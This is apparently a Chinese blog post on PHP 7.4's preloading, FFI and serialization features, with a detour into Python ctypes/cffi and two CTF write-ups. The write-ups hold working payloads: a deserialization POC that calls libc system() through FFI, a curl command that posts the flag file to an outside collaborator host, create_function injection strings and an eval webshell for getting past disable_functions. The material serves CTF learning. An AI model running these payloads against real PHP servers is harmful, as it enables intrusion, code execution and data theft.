废话不多说,直接进入正题;文中参考链接统一扔后面了

Preloading

预加载文件到 opcache 中,类不能有不可达的父类、接口,also only top-level entities are not nested with control structures (e.g. if ()…) may be preloaded;被加载后除非重启,进行的修改不影响当前进程;预加载不影响静态类成员和变量的表现;Windows 中不能预加载从内部继承的类(Windows ASLR and absence of fork () don’t allow to guarantee the same addresses of internal classes in different processes.);多版本有可能造成 bug

image-20211202161008294

FFI

文档中给了一个小栗子

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");

直接运行即可输出 Hello world!;这个函数的原型是这样的

FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI

书写的形式相当的简洁,创建 FFI 对象(声明)-> 调用 c 方法;试着直接执行一个 whoami

php -r '$ffi = FFI::cdef("int system(char *command);");$ffi->system("whoami");'

发现在没有第二个参数的情况下也可以正常执行 system 函数,看下源码

image-20211202231908072

这种情况下 lib=NULL,handle=RTLD_DEFAULT(这个注释 TODO 就很灵性)

image-20211202232422896

随后调用 DL_FETCH_SYMBOL也就是 dlsysm

image-20211202232601190

RTLD_DEFAULT

Find the first occurrence of the desired symbol using the default shared object search order. The search will include global symbols in the executable and its dependencies, as well as symbols in shared objects that were dynamically loaded with the RTLD_GLOBALflag.

当 dlsym 第一个参数为 RTLD_DEFAULT 时,会按照默认共享库顺序查找 system 的位置,搜索范围还包括了可执行程序极其依赖中的函数表(如果设置了 RTLD_GLOBAL 还会搜索动态加载库中的函数表),也就是直接在全局符号表里找了,所以不需要指定加载库,fopen 这类函数也是一样

更多的栗子请参见文档这一篇文章,写的都很详细

跑个题:FFI in Python

Python 的优点就不必说了,缺点是封装太好了导致运行速度上不去,那为什么不直接在 Python 中用 C/C++ 呢?

肥肠不错的想法!不过要解决的有两个问题:Marshalling(感觉编组这个翻译很奇怪 但是这个行为可以类比一下 serialize) & Manageing Memory(内存管理)

  • Python 中万物皆 object,而 C 中有严格的 int float 等等类型
  • Python 有 gc,而 C 中需要手动 malloc

不过不急,已经有库封装好了这些功能可以直接使用,来康康 demo

ctypes 库

#include <stdio.h>

float cadd(int x, float y) {
    float res = x + y;
    printf("In cadd: int %d float %.1f returning  %.1f\n", x, y, res);
    return res;
}
import ctypes
import pathlib

if __name__ == "__main__":
    # load the lib
    libname = pathlib.Path().absolute() / "libcadd.so"
    c_lib = ctypes.CDLL(libname)

    x, y = 6, 2.3

    # define the return type
    c_lib.cadd.restype = ctypes.c_float
    # call the function with the correct argument types
    res = c_lib.cadd(x, ctypes.c_float(y))
    print(f"In python: int: {x} float {y:.1f} return val {res:.1f}")
$ gcc -shared -Wl,-soname,libcadd -o libcadd.so -fPIC cadd.c
$ python3 test.py
In cadd: int 6 float 2.3 returning  8.3
In python: int: 6 float 2.3 return val 8.3

image-20211202173119818

可以看到成功调用了 cadd.so,而我们在 python 中要做的只有加载.so-> 设置符合 C 标准的返回值类型 -> 调用,肥肠的简单

不过标准库 ctypes 有一些缺陷 并且不能拓展大型项目,鉴于此我们可以使用 cffi 库

cffi 库

这里是一个 hello world 的小 demo

from cffi import FFI
ffi = FFI()
# 可以定义函数 结构体 变量
ffi.cdef("""
         int printf(const char *format, ...);
""")

c = ffi.dlopen(None)    # 加载c命名空间
arg = ffi.new("char[]", b"world")   # 即 char arg[]="world";
c.printf(b"hello %s\n", arg)

这个栗子里直接在一个 py 文件中用 cffi 调用库函数就结束了,肥肠肥肠的简单;或者也可以和 ctypes 一样,单独写一个 c 先

#include <stdio.h>
int Tadd(int a, int b){
    int c;
    c = a+b;
    return c;
}
void Tprint(void){
    printf("hello, world\n");
}
int Tmul(int a, int b){
    return a*b;
}

然后调用 ffi.verify() 在 Python 中加载和使用,不过还需要额外声明函数

from cffi import FFI
ffi = FFI()
ffi.cdef("""
    int Tadd(int a, int b);
    void Tprint(void);
    int Tmul(int a, int b);
""")

lib = ffi.verify(sources=['uu.c'])
print(lib.Tadd(10, 2))
lib.Tprint()
print(lib.Tmul(3, 5))

image-20211202180822923

以上方式都是在线 api 模式,cffi 还支持离线 api 模式,比如下面这个 demo

from cffi import FFI

ffibuilder = FFI()

ffibuilder.cdef("""
    double sqrt(double x);
""")

# 需要的头文件
ffibuilder.set_source("_libmath",
    """
    #include <math.h>
    """,
    library_dirs = [],
    libraries = ['m']
)

ffibuilder.compile(verbose=True)
python build_cffi.py
from _libmath import lib

# 直接调用c函数
x = lib.sqrt(4.5)

print(F"The square root of 4.5 is {x}.")
python test.py

image-20211202173047579

可以看到这里先用一个 py 文件调用.h 来编译生成.so 和.c,然后在另一个 py 文件中调用.c 即可

或者还有第三种方式,在 Python 中使用外部已经定义好的 c 库函数;这里使用 wolever/python-cffi-example 来演示(就不复制粘贴了捏 就粘就粘

首先是一个 fnmatch.h

image-20211202184827657

注意 7 8 9 行要改一下的,根据 /usr/include/fnmatch.h 改

image-20211202185217525

这是 build_fnmatch.py,用于生成模块在 fnmatch.py 中使用

import os

from cffi import FFI

ffi = FFI()

ffi.set_source("cffi_example._fnmatch",
    # Since we are calling fnmatch directly no custom source is necessary. We
    # need to #include <fnmatch.h>, though, because behind the scenes cffi
    # generates a .c file which contains a Python-friendly wrapper around
    # ``fnmatch``:
    #    static PyObject *
    #    _cffi_f_fnmatch(PyObject *self, PyObject *args) {
    #        ... setup ...
    #        result = fnmatch(...);
    #        return PyInt_FromLong(result);
    #    }
    "#include <fnmatch.h>",
    # The important thing is to inclue libc in the list of libraries we're
    # linking against:
    libraries=["c"],
)

with open(os.path.join(os.path.dirname(__file__), "fnmatch.h")) as f:
    ffi.cdef(f.read())

if __name__ == "__main__":
    ffi.compile()

一个 setup.py

#!/usr/bin/env python

import os
import sys

from setuptools import setup, find_packages

os.chdir(os.path.dirname(sys.argv[0]) or ".")

setup(
    name="cffi-example",
    version="0.1",
    classifiers=[
        "Development Status :: 4 - Beta",
        "Programming Language :: Python :: 2",
        "Programming Language :: Python :: 3",
        "Programming Language :: Python :: Implementation :: PyPy",
        "License :: OSI Approved :: BSD License",
    ],
    packages=find_packages(),
    install_requires=["cffi>=1.0.0"],
    setup_requires=["cffi>=1.0.0"],
    cffi_modules=[
        "./build_fnmatch.py:ffi",
    ],
)

最后的 cffi_modules 指定了需要生成 ffi 实例的文件

pyhon setup.py install

image-20211202190508189

没想到是个报错,仔细看一下原因,解决方法是把之前的 fnmatch.h 中的偏移换成 16 进制

再次执行就好了

image-20211202190825764

可以看到这种方式比之前生成的文件都要多,相当于安装了一个模块

然后是一个 test_fnmatch.py,注意这里直接用给出的文件还是会报错,把下图高亮的地方换成 0x1

image-20211202191447689

再执行就好了

cffi 和 ctypes 还有很多的花活,鉴于我的代码能力一般(c 和 python 都是勉强够用的水平),就不班门弄斧了,更多的东西还是看官方文档比较靠谱(链接贴在最后了

———— 什么?为什么 FFI in PHP 介绍的还不如 FFI in Python 的多?

emmmmm 这个嘛 才不会说是因为懒呢

Serializable

已有的反序列化魔术方法总是有很多安全问题,这个提议新增了__serialize()__unserialize()serialize()unserialize()Serializable()

serialize() 检查到__serialize() 的存在后将在序列化之前优先执行,返回序列化形式的数组,如有错抛出 TypeError;如果同时有__serialize()__sleep(),后者将被忽略;如果对象实现了 Serializable() 接口,接口的 serialize() 将被忽略,类中的__serialize() 将被调用;反序列化时触发__unserialize()

———— 好勾八复杂的,建议直接看文档

[RCTF 2019]Nextphp

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

如果熟读以上三个文档,这个题就很好出了

我们可以把 func 设为 FFI:cdef,arg 设为 int system(char *command) 来执行 c 代码绕过 php.ini 中的限制;同时由于 Serializable 的种种新特性(出题人也在这里设了坑),我们在构造 poc 时要删除__serialize(),防止直接 return 进坑里了

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        echo 'start'.'</br>';
    }
}

$a = new A();
echo base64_encode(serialize($a));

随后在传入的地方执行 unserialize(base64_decode(payload))->__serialize()['ret']->system(command);,直接 curl 外带 flag

?a=unserialize(base64_decode(QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319))->__serialize()['ret']->system("curl -d @/flag http://fm56ifsleqz363dh864mlhvtzk5atz.burpcollaborator.net");

image-20211202223140032

———— 在这个题出现之后蚁剑还专门出了对应的插件

image-20211202223257130

但是多次尝试失败,之后看到了这个 wp 之后再看官方文档还有这一篇就明白了

image-20211202223422195

默认情况下 FFI 只会被用于 CLI 模式下 & 预加载 php 脚本,除非设置 ffi.enable=true,设置之后在 webshell 就可以直接用蚁剑插件了

[极客大挑战 2020] Roamphp5-FighterFightsInvincibly

image-20211204173057497

很漂亮的前端,看页面源码有注释的提示

image-20211204173130852

这个形式,真的是一眼 create_function() 了,看一下 phpinfo (),用的还是 create_function() 的注入

?fighter=create_function&fights=&invincibly=;}phpinfo();/*

看下 disable_function

system,exec,shell_exec,passthru,proc_open,proc_close,&nbsp;proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,&nbsp;syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,&nbsp;socket_connect,&nbsp;stream_socket_server,&nbsp;stream_socket_accept,stream_socket_client,ftp_connect,&nbsp;ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space,&nbsp;disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,&nbsp;posix_getegid,posix_geteuid,posix_getgid,&nbsp;posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,&nbsp;posix_getppid,posix_getpwnam,posix_getpwuid,&nbsp;posix_getrlimit,&nbsp;posix_getsid,posix_getuid,posix_isatty,&nbsp;posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,&nbsp;posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname</td><td class="v">system,exec,shell_exec,passthru,proc_open,proc_close,&nbsp;proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,&nbsp;syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,&nbsp;socket_connect,&nbsp;stream_socket_server,&nbsp;stream_socket_accept,stream_socket_client,ftp_connect,&nbsp;ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space,&nbsp;disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,&nbsp;posix_getegid,posix_geteuid,posix_getgid,&nbsp;posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,&nbsp;posix_getppid,posix_getpwnam,posix_getpwuid,&nbsp;posix_getrlimit,&nbsp;posix_getsid,posix_getuid,posix_isatty,&nbsp;posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,&nbsp;posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

直接不用看了,有一吨,肯定得绕过;蚁剑的各种插件都失败,得手动绕,ffi 扩展开着

image-20211204174245283

看到这里 ffi.enable=On,符合蚁剑插件的应用条件,写个 webshell 试试

?fighter=create_function&fights=&invincibly=;}eval($_POST[wuhu]);/*

image-20211204175626714

what’s up,竟然没有回显

尝试 ping,发现还不出网,不能用 curl 外带 flag

那只能从 FFI 本身下手了,调用 c 的 popen 用管道读命令执行的结果

FILE *popen(const char* command,const char* type);

popen 会调用 fork() 产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数的命令,type 有 r (read) 和 w (write),依照这个值 popen 会建立管道连接到子进程的标准输出设备或写入到子进程的标准输入设备中

?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls / -lah","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

image-20211204180626497

另一种方法是调用 php 源码中的函数 php_exec(),当它的参数 type 为 3 时对应调用的是 passthru() 函数,其执行命令可以将结果原始输出

?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*

但是,这道题在 buu 复现不了,原因是 uuid 有 32 个字符,加上连字符有 36 位,再加上 flag {} 有 42 位,但是 /readflag 程序只允许读出 37 个字符,所以最后的 5 位是读不出来的(辣个唯一解可能是爆破的 我试着爆了一会 加延时得跑好久好久好久 放弃了


最近在刷 buuoj,有望这个月内把 50 解以上的题做完捏


以下是本文中涉及到的 和我学习时看过的所有文章的链接🔗 每日感谢互联网的丰富资源(

PHP RFC: Preloading | PHP RFC: FFI - Foreign Function Interface | PHP RFC: New custom object serialization mechanism | PHP FFI 详解 - 一种全新的 PHP 扩展方式

Do You Hate How Slow Python Is? This Is How You Can Make It Run Faster! | Make Python Faster with CFFI Python Bindings

CFFI documentation | ctypes documentation

Python cffi 学习 | cffi-example: an example project showing how to use Python’s CFFI

wp | wp2